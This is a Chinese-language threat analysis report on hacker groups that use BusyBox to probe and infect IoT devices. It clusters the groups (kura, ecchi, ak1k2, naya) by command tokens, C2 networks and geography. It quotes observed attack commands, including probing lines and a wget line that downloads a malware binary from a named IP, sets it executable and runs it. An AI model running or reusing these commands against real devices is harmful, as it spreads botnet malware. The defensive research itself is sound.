原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

admin 2020年11月11日15:13:39评论199 views字数 6258阅读20分51秒阅读模式

作者 | 张家琦  刘中金

一、背景

1BusyBox组件简介

BusyBox是嵌入式Linux的常用组件,被称为“嵌入式Linux中的瑞士军刀”。它将常用的UNIX命令集成到一个可执行文件中。通过功能精简、共享代码等方法,BusyBox保留了最常用的功能,同时大大压缩了可执行文件的大小。一般而言,BusyBox可执行文件只有5MB左右,而Ubuntu或CentOS等完整的Linux发行版本至少需要数百MB空间。因此,BusyBox为小型嵌入式Linux提供了一个相对完整的POSIX环境,被广泛应用于路由器、摄像头、智能设备等基于嵌入式Linux的设备上。BusyBox的主要目录结构、主要命令集合和使用方式如下[1][2]
( 1 ) Busybox主要目录结构
表1 BusyBox主要目录结构

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

( 2 ) Busybox支持的命令集合
BusyBox中的命令集合如表 2所示。BusyBox中包含了ls、cat和echo等命令和grep、find、telnetd等常用组件。
表2 BusyBox命令集合

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

( 3 ) 使用方法
i. 直接运行
BusyBox安装后,会存放在/bin目录下。通过运行/bin/busybox <applet>命令,就可以执行<applet>指定的功能。例如:
/bin/busybox ls
ii. 符号链接
为了进一步简化命令,BusyBox还提供了符号链接功能,例如:
ln -s busybox ls./ls

2BusyBox在物联网设备中应用广泛,安全问题涌现

由于BusyBox容易编译、配置和使用,它在嵌入式Linux操作系统中应用广泛。许多网关、摄像头类物联网设备中运行的openwrt、buildroot等固件或工具,均使用BusyBox组件。
自2010年以来,BusyBox共暴露出17个漏洞。其中,CVE评分在7分以上的有4个,如表3所示。
表3 BusyBox历史漏洞
原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告
另一方面,由于BusyBox在物联网领域的广泛应用,BusyBox成为物联网设备区别于通用计算设备的一个重要标志,经常被物联网黑客组织用于探测、判断联网设备是否为物联网设备。同时,由于集成了大量基本工具,BusyBox也成为了黑客组织用于执行代码植入和远程命令执行等攻击的重要手段。Mirai,Hajime、Bashlite等物联网僵尸网络和攻击手法均通过探测BusyBox组件来选取攻击目标,继而执行远程攻击命令[3]-[5]
因此,我们最近监测了利用BusyBox组件的网络行为,发现了大量利用BusyBox组件执行远程命令的行为,涉及的常见端口的协议类型如所示。其中,telnet协议的流量最多,大约占比91%。
表4 BusyBox相关流量端口协议描述
原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

3利用BusyBox组件进行特定物联网设备攻击的案例

( 1 ) 案例概述

以下是一个开放23端口的联网工控设备遭受攻击的案例。该设备为M公司型号为UC-XXXX的控制器,是一款基于ARM的工业控制器。被攻击设备存在弱口令漏洞,遭受到暴力破解等远程攻击,攻击成功的命令交互情况如图 1所示。

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

图1 典型的23端口登陆成功界面
在客户端登陆成功之后,执行了一条语句:
cat /proc/mounts; /bin/busybox OAOGL
服务器返回信息如下:
rootfs / rootfs rw 0 0/dev/root / jffs2 ro 0 0/proc /proc proc rw 0/dev/ram0 /var ext2 rw 0 0/dev/mtdblock3 /var/tmp jffs2 rw 0 0/dev/mtdblock3 /home jffs2 rw 0 0/dev/mtdblock3 /etc jffs2 rw 0 0/dev/mtdblock3 /usr/bin jffs2 rw 0 0OAOGL: applet not found 

该黑客攻击语句分为两部分,一是功能执行部分,这里对应“cat /proc/mounts”命令,用来查看/proc是否被加载;二是执行结束标记,对应“/bin/busybox OAOGL”这条命令,用于使服务器返回“OAOGL:applet not foundrn”消息,从而使攻击方知道上条命令已执行完毕。其中,/bin/busyboxTOKEN中的TOKEN字段通常由各个恶意软件攻击手法自行定义。一般可以认为,采用相同TOKEN的攻击手法大概率具有同源性。

( 2 ) 攻击模式分析

基于观察到黑客攻击的命令模式,其攻击手法执行流程有三个部分:测试部分、下载部分和恶意代码运行部分。
  • 测试部分
在测试部分,攻击手法主要测试终端的运行环境。攻击手法利用一系列的测试代码,针对设备软硬件环境进行探测。通过检测特定的返回代码,来判断BusyBox运行环境、文件系统、CPU类型、进程数量等参数。几个典型的测试代码如下:
i. 测试是否存在BusyBox运行环境
典型代码:
/bin/busybox ps; /bin/busybox TOKEN
ii. 测试CPU类型、文件系统、进程数量等系统参数
以下是一个测试文件系统的典型代码:
/bin/busybox echo -e 'x6bx61x6dx69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/ busybox rm /dev/.nippon
测试CPU类型和进程数量的典型代码:
/bin/ busybox cat /proc/cpuinfo || while read i; do echo $i; done < /proc/cpuinfo; /bin/ busybox slav1337
iii. 测试是否存在wget、tftp等远程传输工具
典型代码:
/bin/ busybox wget; /bin/ busybox tftp; /bin/ busybox TOKEN
  • 下载部分
在下载部分,攻击手法主要利用wget、tftp或echo来植入恶意软件。典型代码如下:
/bin/busybox wget http://193.228.91.124:80/uih7u8jy7of7y8o9d6t68it67r8y76t7823tg8weuq/squidnet.x86 -o - > kurc;/bin/BusyBox chmod 777 kurc; /bin/BusyBox kura(TOKEN)
  • 执行部分
执行部分典型代码:
/bin/ busybox kurc; /bin/ busybox kura(TOKEN);
( 3 ) 攻击手法示例
下面是两个不同攻击手法的示例。图 2是TOKEN为Kura的攻击手法的脚本特点。这一工具用echo -e命令扫描大量文件夹,用wget下载恶意代码。

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

图2 kura攻击手法脚本特点
图 3是TOKEN为slav1337的攻击手法的脚本特点。这类攻击手法一般首先检查设备中是否存在BusyBox环境,然后检查是否存在wget或tftp,最后通过wget、tftp或echo下载恶意代码,如图 3 ( a )。此外,这类攻击手法中还存在大量用echo植入恶意代码的行为,如图 3 ( b )
原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

( a )

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告
( b )

图3 slav1337攻击手法脚本特点

二、黑客组织攻击手法分析

通常,同一个黑客组织使用的攻击脚本、C2节点或僵尸主机存在一定的关联性。为了发现攻击手法与黑客组织的关联,图 4利用桑基图进一步分析了有恶意代码下载行为的攻击手法及其僵尸主机、C2节点的通连关系。桑基图是一类描述流量结构分布图,描述了流量在各个节点之间的流量分布。每一个节点延伸的分支的宽度对应数据流量占比的大小。
图 4的第一列节点表示攻击手法,第二列和第三列节点分别表示僵尸主机和C2节点,最后一列表示其传播的恶意代码名称。从攻击手法节点延申出去的分支越细、越多,表明该攻击手法利用的网络资源越丰富,越分散;反之表明该攻击手法利用的网络资源越少,越集中。

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

图4 攻击手法与C2节点及僵尸主机的关联关系
观察其关联模式,攻击手法可分为以下典型的两类:

( 1 ) 黑客组织攻击手法利用的僵尸主机和C2节点都比较集中,也没有与其他攻击手法共用。典型代表是kura、ecchi、scylla和ak1k2,如图 5。以kura为例,该攻击手法主要利用了193.228.91.0网段的主机。其C2节点也大部分位于这个网段,传播的恶意代码名字也比较单一。典型恶意代码名称为squidnet和kiganet。

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告
图5 第一类攻击手法的传播通联关系图

( 2 ) 第二类攻击手法的桑基图如图 6。这类攻击手法利用的网络资源更加丰富,更加分散,且不同攻击手法之间的网络资源存在共用现象。如slav1337攻击手法,该工具利用了多个僵尸网络:85.92.108.0(荷兰)、37.49.224.0(荷兰)、45.95.168.0(匈牙利)。其中37.49.224.0和45.95.168.0这两个网段的僵尸主机也被sora、unstable、meth、switchblades1等攻击手法使用。从传播恶意代码的角度,这些攻击手法的行为也呈现出不同的特点。例如slav1337、unstable传播的恶意代码比较多。sora、lizrd和naya则只传播一种恶意代码。

综上,一部分攻击手法的网络资源相对比较独立,同时传播的恶意代码名称也比较单一,与其他攻击手法区别明显,可以认为属于不同的黑客组织,如第一类的kura、ecchi、ak1k2和第二类的naya。下文将对上述四个组织的网络资源,地理分布、脚本特征进一步深入分析和比较。为简化描述,下文将用黑客组织攻击手法采用的TOKEN指代该组织。

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

图6 第二类攻击手法传播通联关系图

三、典型黑客组织攻击手法的行为模式比较

1典型黑客组织网络资源比较

四个典型黑客组织的总体攻击态势如表 5。不同组织的网络资源,主要是C2服务器网段数量呈现一定的差异,kura、ak1k2、ecchi的C2服务器分布比较集中,naya的C2服务器分布较分散。各个组织的主要C2服务器网段的分布情况如图 7。
表5 典型黑客组织的主要攻击态势数据
原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

图7 主要黑客组织采用的C2服务器网段分布情况

2典型黑客组织主要地理分布比较

( 1 ) C2节点地理分布比较
表6给出了典型黑客组织的主要C2节点归属国家。大部分组织的C2节点都位于美国和欧洲。
表6  典型黑客组织主要C2节点及归属国家
原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告
( 2 ) 国内受攻击节点地理分布比较
图8比较了四个攻击手法攻击目标的国内地理分布情况,排名前五位的省份分别是广东、北京、辽宁、河北及浙江。各黑客组织攻击目标排名前3 的省份及其受攻击次数如表 7所示。不同组织在攻击规模上略有差异,但选取的目标均为沿海发达城市和部分工业城市。
表7 攻击目标排名前3的省份及其受攻击次数

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

图8 被攻击服务器国内地理分布

3黑客组织测试阶段常用命令对比

在攻击手法的测试阶段,黑客组织主要通过特定命令来测试攻击目标的文件系统、CPU情况和网络下载工具情况,我们比较了四个典型黑客组织的测试命令比例,如表 8。
表8 典型组织的测试方式统计

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

按照是否存在文件扫描行为,可将攻击手法测试阶段行为模式分为两类:第一类包括kura和ecchi,存在文件扫描行为,其中ecchi还存在大量CPU测试行为;第二类包括ak1k2和naya,不存在文件扫描行为。
进一步观察kura和ecchi的文件扫描命令,kura组织采用的典型命令是:
echo -e 'kami/dev' > /dev/.nippon;
ecchi组织采用的典型命令是:
echo -e ‘jane/dev' > /dev/.nippon;
可以看出,虽然都存在文件扫描行为,kura和ecchi选择了不同的文件扫描关键字。

4黑客组织下载阶段常用命令对比

在下载阶段,攻击手法大多采用wget和echo两种方式向攻击目标植入恶意代码(tftp命令也有部分使用,但占比很少,在此不做分析)。我们具体分析了kura、ecchi、ak1k2、naya四个典型组织的网络植入方式如表 9。根据wget和echo的使用比例,可将网络植入行为模式分为三类:第一类echo使用比例显著高于wget,如ak1k2和naya;第二类echo使用比例与wget相当,如kura;第三类echo使用比例显著低于wget,如ecchi。
表9 典型组织的网络植入方式

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

图9 典型组织的网络植入方式比较
通过对攻击手法网络资源、地理分布和行为模式的分析及对比,可以初步认为不同攻击手法在网络资源、行为模式上呈现出比较明显的差异,而在地理分布上则比较类似。

四、总结

本报告分析了BusyBox组件对特定物联网设备进行攻击的恶意行为,初步得出以下结论:
( 1 ) BusyBox被广泛应用物联网或工业控制网络中。网络中监测到了大量黑客组织利用BusyBox进行物联网设备甄别及恶意代码植入的行为。
( 2 ) 利用BusyBox开展攻击的各个黑客组织的攻击手法和攻击习惯呈现出迥然不同的特征。通过对黑客组织攻击手法的TOKEN特征、传播路径、恶意代码进行关联分析,能够对黑客组织在攻击手法关键字、网络传播路径、测试方式、网络植入方式等方面的差异进行洞察。
( 3 ) 在分析中,我们也发现了后续可以继续深入研究的方向:
随着开源社区的不断活跃,越来越多的开源程序及组件会在物联网设备上使用,比如web、telnet等第三方组件。这些组件也都有潜在的安全风险,会被黑客组织进行规模化利用。后续我们将关注不同的组件进行分析,以对物联网供应链,组件层面的安全性进行剖析,以期了解物联网设备底层系统及组件所面临的广泛或通用的安全风险。

参考文献:

[1]BusyBox - The Swiss Army Knife of EmbeddedLinux. 

https://busybox.net/downloads/BusyBox.html

[2]BusyBox-Commands.https://boxmatrix.info/wiki/BusyBox-Commands

[3]New Trojan Virus Is Targeting IoT Devices. 

https://www.csoonline.com/article/3134720/new-trojan-virus-is-targeting-iot-devices.html.

[4]How does Mirai infect IoT?

https://security.stackexchange.com/questions/144754/how-does-mirai-infect-iot

[5]IoTMalware Evolves to Harvest Bots by Exploiting a Zero-day Home RouterVulnerability. https://unit42.paloaltonetworks.com/unit42-iot-malware-evolves-harvest-bots-exploiting-zero-day-home-router-vulnerability/

[6]BASHLITE Affects Devices Running on BusyBox.  

https://www.trendmicro.com/en_us/research/14/k/bashlite-affects-devices-running-on-BusyBox.html



转载请注明来源:网络安全应急技术国家工程实验室

原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

本文始发于微信公众号(网络安全应急技术国家工程实验室):原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年11月11日15:13:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   原创 | 利用BusyBox组件进行物联网设备攻击的黑客组织恶意行为分析报告http://cn-sec.com/archives/183013.html

发表评论

匿名网友 填写信息